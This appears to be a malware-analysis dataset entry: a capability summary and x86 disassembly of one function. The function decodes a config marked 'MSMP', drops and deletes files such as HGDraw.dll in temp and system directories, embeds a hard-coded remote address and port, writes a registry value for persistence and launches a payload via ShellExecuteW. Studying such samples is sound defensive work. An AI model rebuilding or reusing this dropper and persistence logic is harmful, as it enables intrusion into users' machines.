Function at 0x409490
Capabilities:
Check if file exists
Create process on windows
Delete file
Get common file path
Get file attributes
Set registry value

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1c4c
call fcn.00413d80
mov eax, dword [0x422044]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0x206
xor ebx, ebx
lea ecx, [ebp - 0x3ce]
xor eax, eax
push ebx
push ecx
mov word [ebp - 0x3d0], ax
call fcn.00411f50
add esp, 0xc
push 0x206
lea eax, [ebp - 0xdf6]
xor edx, edx
push ebx
push eax
mov word [ebp - 0xdf8], dx
call fcn.00411f50
add esp, 0xc
push 0x206
lea edx, [ebp - 0xbee]
xor ecx, ecx
push ebx
push edx
mov word [ebp - 0xbf0], cx
call fcn.00411f50
xor eax, eax
add esp, 0xc
push 0x7e
lea edx, [ebp - 0x1c6]
xor ecx, ecx
push ebx
push edx
mov word [ebp - 0x24], ax
mov dword [ebp - 0x22], eax
mov dword [ebp - 0x1e], eax
mov dword [ebp - 0x1a], eax
mov dword [ebp - 0x16], eax
mov dword [ebp - 0x12], eax
mov dword [ebp - 0xe], eax
mov dword [ebp - 0xa], eax
mov word [ebp - 6], ax
mov word [ebp - 0x1c8], cx
call fcn.00411f50
add esp, 0xc
push 0x7e
lea ecx, [ebp - 0xc6]
xor eax, eax
push ebx
push ecx
mov word [ebp - 0xc8], ax
call fcn.00411f50
add esp, 0xc
push 0x7e
lea eax, [ebp - 0x146]
xor edx, edx
push ebx
push eax
mov dword [ebp - 0x1c38], ebx
mov word [ebp - 0x148], dx
call fcn.00411f50
add esp, 0xc
push 0x206
lea edx, [ebp - 0x7de]
xor ecx, ecx
push ebx
push edx
mov dword [ebp - 0x1c34], ebx
mov word [ebp - 0x7e0], cx
call fcn.00411f50
add esp, 0xc
xor eax, eax
mov word [ebp - 0x44], ax
mov dword [ebp - 0x42], eax
mov dword [ebp - 0x3e], eax
mov dword [ebp - 0x3a], eax
mov dword [ebp - 0x36], eax
mov dword [ebp - 0x32], eax
mov dword [ebp - 0x2e], eax
mov dword [ebp - 0x2a], eax
push 0x200
lea ecx, [ebp - 0x17f8]
push ebx
push ecx
mov word [ebp - 0x26], ax
mov dword [ebp - 0x1c4c], ebx
call fcn.00411f50
add esp, 0xc
push 1
lea edi, [ebp - 0x17f8]
call fcn.00404290
add esp, 4
push 0x200
lea edx, [ebp - 0x5d0]
push ebx
push edx
mov dword [ebp - 0x1c48], eax
call fcn.00411f50
add esp, 0xc
lea esi, [ebp - 0x5d0]
call fcn.004040b0
test eax, eax
jne 0x40961c
mov dword [ebp - 0x1c3c], ebx
jmp 0x409671
xor eax, eax
mov edi, edi
mov cl, byte [ebp + eax - 0x5d0]
not cl
mov byte [ebp + eax - 0x5d0], cl
inc eax
cmp eax, 0x200
jb 0x409620
cmp dword [ebp - 0x5d0], 0x504d534d
je 0x40964c
mov dword [ebp - 0x1c3c], ebx
jmp 0x409671
push 0x200
lea edx, [ebp - 0x5d0]
push edx
lea eax, [ebp - 0x1c30]
push eax
call fcn.0040bd10
add esp, 0xc
mov dword [ebp - 0x1c3c], 1
push 0x104
lea ecx, [ebp - 0xdf8]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov edi, dword [sym.imp.KERNEL32.dll_GetTempPathW]
lea edx, [ebp - 0x3d0]
push edx
push 0x104
call edi
push str.HGDraw.dll
lea eax, [ebp - 0x3d0]
push 0x104
push eax
call fcn.0040b2c5
lea eax, [ebp - 0x3d0]
add esp, 0xc
lea edx, [eax + 2]
jmp 0x4096c0
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x4096c0
mov esi, dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
sub eax, edx
sar eax, 1
je 0x4096f2
lea ecx, [ebp - 0x3d0]
push ecx
call esi
cmp eax, 0xffffffff
je 0x4096f2
lea edx, [ebp - 0x3d0]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
cmp dword [ebp - 0x1c48], ebx
je 0x4099d8
lea eax, [ebp - 0x3d0]
push eax
push 0x104
call edi
lea ecx, [ebp - 0x1670]
push ecx
lea edx, [ebp - 0x3d0]
push 0x104
push edx
call fcn.0040b2c5
add esp, 0xc
push 0x41c474
lea eax, [ebp - 0x3d0]
push 0x104
push eax
call fcn.0040b2c5
lea eax, [ebp - 0x3d0]
add esp, 0xc
lea edx, [eax + 2]
lea esp, [esp]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x409750
sub eax, edx
sar eax, 1
je 0x4097be
lea ecx, [ebp - 0x3d0]
push ecx
call esi
cmp eax, 0xffffffff
je 0x4097be
xor eax, eax
jmp 0x409780
movzx ecx, word [ebp + eax - 0x1670]
mov word [ebp + eax - 0x1a08], cx
add eax, 2
test cx, cx
jne 0x409780
push 0x41c480
lea edx, [ebp - 0x1a08]
push 0x104
push edx
call fcn.0040b2c5
add esp, 0xc
lea eax, [ebp - 0x3d0]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
lea ecx, [ebp - 0x1650]
push ecx
lea edx, [ebp - 0x24]
push 0x10
push edx
call fcn.0040a83e
add esp, 0xc
lea edi, [ebp - 0x3d0]
lea esi, [ebp - 0x1650]
call fcn.00401900
call fcn.004092e0
cmp eax, 1
jne 0x409801
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040a82f
mov esp, ebp
pop ebp
ret
xor eax, eax
push 0x206
push eax
lea ecx, [ebp - 0x5d6]
push ecx
mov word [ebp - 0x5d8], ax
call fcn.00411f50
add esp, 0xc
xor edx, edx
push 0x206
push edx
lea eax, [ebp - 0x9e6]
push eax
mov word [ebp - 0x9e8], dx
call fcn.00411f50
add esp, 0xc
xor eax, eax
nop
movzx ecx, word [ebp + eax - 0x1650]
mov word [ebp + eax - 0x5d8], cx
add eax, 2
test cx, cx
jne 0x409840
xor eax, eax
lea ebx, [ebx]
movzx ecx, word [ebp + eax - 0x1650]
mov word [ebp + eax - 0x9e8], cx
add eax, 2
test cx, cx
jne 0x409860
lea eax, [ebp - 0x9e8]
add eax, 0xfffffffe
mov cx, word [eax + 2]
add eax, 2
test cx, cx
jne 0x409881
mov ecx, dword [str._STOP]
mov edx, dword [0x41c4e4]
mov edi, dword [sym.imp.KERNEL32.dll_OpenEventW]
mov dword [eax], ecx
mov ecx, dword [0x41c4e8]
mov dword [eax + 4], edx
lea edx, [ebp - 0x5d8]
push edx
push 0
push 0x20000
mov dword [eax + 8], ecx
call edi
test eax, eax
je 0x40991a
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
push eax
call ebx
lea eax, [ebp - 0x9e8]
push eax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
lea ecx, [ebp - 0x5d8]
push ecx
xor esi, esi
push esi
push 0x20000
call edi
test eax, eax
je 0x40991a
cmp esi, 5
jge 0x40991a
push eax
call ebx
push 0x1f4
inc esi
call dword [sym.imp.KERNEL32.dll_Sleep]
lea edx, [ebp - 0x5d8]
push edx
push 0
push 0x20000
call edi
test eax, eax
jne 0x4098f2
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp - 0x3d0]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
xor eax, eax
jmp 0x409940
movzx ecx, word [ebp + eax - 0x1772]
mov word [ebp + eax - 0x1c8], cx
add eax, 2
test cx, cx
jne 0x409940
xor eax, eax
lea ebx, [ebx]
movzx ecx, word [ebp + eax - 0x17f4]
mov word [ebp + eax - 0xc8], cx
add eax, 2
test cx, cx
jne 0x409960
movzx ecx, word [ebp - 0x1774]
mov dword [ebp - 0x1c38], ecx
xor eax, eax
jmp 0x409990
movzx ecx, word [ebp + eax - 0x1752]
mov word [ebp + eax - 0x148], cx
add eax, 2
test cx, cx
jne 0x409990
movzx edx, word [ebp - 0x16d2]
mov ebx, dword [ebp - 0x1630]
lea eax, [ebp - 0x1670]
push eax
lea ecx, [ebp - 0x44]
push 0x10
push ecx
mov dword [ebp - 0x1c34], edx
call fcn.0040a83e
mov edi, dword [sym.imp.KERNEL32.dll_GetTempPathW]
jmp 0x409a8c
cmp dword [0x422f30], 3
jne 0x409a8f
push 0x236
lea edx, [ebp - 0x1a30]
push 0
push edx
call fcn.00411f50
add esp, 0xc
lea esi, [ebp - 0x1a30]
call fcn.00401e70
mov dword [ebp - 0x1c4c], eax
test eax, eax
je 0x409a8f
xor eax, eax
jmp 0x409a20
movzx ecx, word [ebp + eax - 0x1922]
mov word [ebp + eax - 0x1c8], cx
add eax, 2
test cx, cx
jne 0x409a20
mov ecx, dword [ebp - 0x192a]
lea esi, [ebp - 0xc8]
call fcn.00401630
movzx eax, word [ebp - 0x1926]
mov ecx, dword [ebp - 0x1930]
lea esi, [ebp - 0x148]
mov dword [ebp - 0x1c38], eax
call fcn.00401630
movzx ecx, word [ebp - 0x192c]
mov ebx, dword [ebp - 0x1a28]
lea edx, [ebp - 0x1902]
push edx
lea eax, [ebp - 0x24]
push 0x10
push eax
mov dword [ebp - 0x1c34], ecx
call fcn.0040a83e
add esp, 0xc
cmp dword [ebp - 0x1c3c], 0
je 0x409b9e
xor eax, eax
mov edi, edi
movzx ecx, word [ebp + eax - 0x1baa]
mov word [ebp + eax - 0x1c8], cx
add eax, 2
test cx, cx
jne 0x409aa0
xor eax, eax
lea ebx, [ebx]
movzx ecx, word [ebp + eax - 0x1c2c]
mov word [ebp + eax - 0xc8], cx
add eax, 2
test cx, cx
jne 0x409ac0
movzx ecx, word [ebp - 0x1bac]
mov dword [ebp - 0x1c38], ecx
xor eax, eax
jmp 0x409af0
movzx ecx, word [eax + 0x41c538]
mov word [ebp + eax - 0x148], cx
add eax, 2
test cx, cx
jne 0x409af0
cmp dword [0x422f30], 3
movzx edx, word [ebp - 0x1b0a]
mov dword [ebp - 0x1c34], edx
mov ebx, 5
je 0x409b32
lea eax, [ebp - 0x7e0]
push eax
push 0x104
call edi
jmp 0x409b5d
push 0x104
lea ecx, [ebp - 0x7e0]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push 0x41c378
lea edx, [ebp - 0x7e0]
push 0x104
push edx
call fcn.0040b2c5
add esp, 0xc
xor eax, eax
nop
movzx ecx, word [ebp + eax - 0x7e0]
mov word [ebp + eax - 0xbf0], cx
add eax, 2
test cx, cx
jne 0x409b60
push 0x41c554
lea eax, [ebp - 0xbf0]
push 0x104
push eax
call fcn.0040b2c5
add esp, 0xc
lea ecx, [ebp - 0xbf0]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x200
lea edx, [ebp - 0x17f8]
push 0
push edx
call fcn.00411f50
mov eax, 0x51
mov esi, 0x504d534d
add esp, 0xc
mov word [ebp - 0x1774], ax
mov dword [ebp - 0x17f8], esi
xor eax, eax
lea ecx, [ecx]
movzx ecx, word [eax + str.218.54.31.165]
mov word [ebp + eax - 0x17f4], cx
add eax, 2
test cx, cx
jne 0x409bd0
mov ecx, 0x2b66
mov word [ebp - 0x16d2], cx
xor eax, eax
jmp 0x409c00
movzx ecx, word [eax + 0x41c588]
mov word [ebp + eax - 0x1752], cx
add eax, 2
test cx, cx
jne 0x409c00
xor eax, eax
lea esp, [esp]
movzx ecx, word [eax + str.AAAA]
mov word [ebp + eax - 0x1772], cx
add eax, 2
test cx, cx
jne 0x409c20
cmp dword [ebp - 0x1c48], 0
mov edi, 5
mov dword [ebp - 0x1630], edi
jne 0x409c5d
cmp dword [ebp - 0x1c4c], 0
jne 0x409c5d
cmp dword [ebp - 0x1c3c], 0
je 0x409cd1
lea edx, [ebp - 0x1c8]
push edx
lea eax, [ebp - 0x1772]
push 0x10
push eax
call fcn.0040a83e
add esp, 0xc
lea ecx, [ebp - 0xc8]
push ecx
lea edx, [ebp - 0x17f4]
push 0x40
push edx
call fcn.0040a83e
movzx eax, word [ebp - 0x1c38]
add esp, 0xc
lea ecx, [ebp - 0x148]
push ecx
lea edx, [ebp - 0x1752]
push 0x40
push edx
mov word [ebp - 0x1774], ax
call fcn.0040a83e
movzx eax, word [ebp - 0x1c34]
add esp, 0xc
mov word [ebp - 0x16d2], ax
mov dword [ebp - 0x1630], ebx
test ebx, ebx
jne 0x409cd1
mov dword [ebp - 0x1630], edi
cmp word [ebp - 0x17f4], 0
je 0x409f53
cmp word [ebp - 0x1774], 0
jbe 0x409f53
mov dword [ebp - 0x17f8], esi
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call fcn.0040a8cf
add esp, 4
xor ecx, ecx
push 0x7fe
push ecx
lea edx, [ebp - 0x15f6]
push edx
mov word [ebp - 0x15f8], cx
call fcn.00411f50
add esp, 0xc
cmp word [ebp - 0x16d0], 0
jne 0x409d51
lea eax, [ebp - 0x15f8]
push eax
call section..text
add esp, 4
lea ecx, [ebp - 0x15f8]
push ecx
lea edx, [ebp - 0x16d0]
push 0x10
push edx
call fcn.0040a83e
add esp, 0xc
cmp word [ebp - 0x16b0], 0
jne 0x409d82
lea eax, [ebp - 0x15f8]
push eax
call section..text
add esp, 4
lea ecx, [ebp - 0x15f8]
push ecx
lea edx, [ebp - 0x16b0]
push 0x10
push edx
call fcn.0040a83e
add esp, 0xc
cmp word [ebp - 0x1670], 0
jne 0x409db3
lea eax, [ebp - 0x15f8]
push eax
call section..text
add esp, 4
lea ecx, [ebp - 0x15f8]
push ecx
lea edx, [ebp - 0x1670]
push 0x10
push edx
call fcn.0040a83e
add esp, 0xc
cmp word [ebp - 0x1650], 0
jne 0x409e16
lea eax, [ebp - 0x15f8]
push eax
call section..text
add esp, 4
lea ecx, [ebp - 0x15f8]
push ecx
lea edx, [ebp - 0x1650]
push 0x10
push edx
call fcn.0040a83e
lea eax, [ebp - 0x24]
add esp, 0xc
lea edx, [eax + 2]
lea ebx, [ebx]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x409df0
sub eax, edx
sar eax, 1
je 0x409e16
lea eax, [ebp - 0x24]
push eax
lea ecx, [ebp - 0x1650]
push 0x10
push ecx
call fcn.0040a83e
add esp, 0xc
lea eax, [ebp - 0x44]
lea edx, [eax + 2]
lea esp, [esp]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x409e20
sub eax, edx
sar eax, 1
je 0x409e46
lea edx, [ebp - 0x44]
push edx
lea eax, [ebp - 0x1690]
push 0x10
push eax
call fcn.0040a83e
add esp, 0xc
cmp word [ebp - 0x1690], 0
jne 0x409e77
lea ecx, [ebp - 0x15f8]
push ecx
call section..text
add esp, 4
lea edx, [ebp - 0x15f8]
push edx
lea eax, [ebp - 0x1690]
push 0x10
push eax
call fcn.0040a83e
add esp, 0xc
cmp dword [ebp - 0x1630], 0
mov dword [ebp - 0x162c], 0x10001fc
jne 0x409e90
mov dword [ebp - 0x1630], edi
lea ecx, [ebp - 0x17f8]
push ecx
call fcn.00404340
add esp, 4
test eax, eax
je 0x409f53
lea edi, [ebp - 0x3d0]
lea esi, [ebp - 0x1650]
call fcn.00401900
mov edx, edi
push edx
lea eax, [ebp - 0xdf8]
call fcn.004093a0
add esp, 4
lea eax, [ebp - 0x1c44]
push eax
push 3
push 0
push 0x41c620
push connect
mov dword [ebp - 0x1c44], 0
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x409f39
mov eax, edi
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x409ef7
sub eax, edx
sar eax, 1
lea ecx, [eax + eax + 2]
mov eax, dword [ebp - 0x1c44]
push ecx
lea edx, [ebp - 0x3d0]
push edx
push 1
push 0
push 0x41c68c
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x409f39
mov ecx, dword [ebp - 0x1c44]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 1
push 0
push 0x41c694
lea edx, [ebp - 0x3d0]
push edx
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
mov eax, 1
pop ebx
call fcn.0040a82f
mov esp, ebp
pop ebp
ret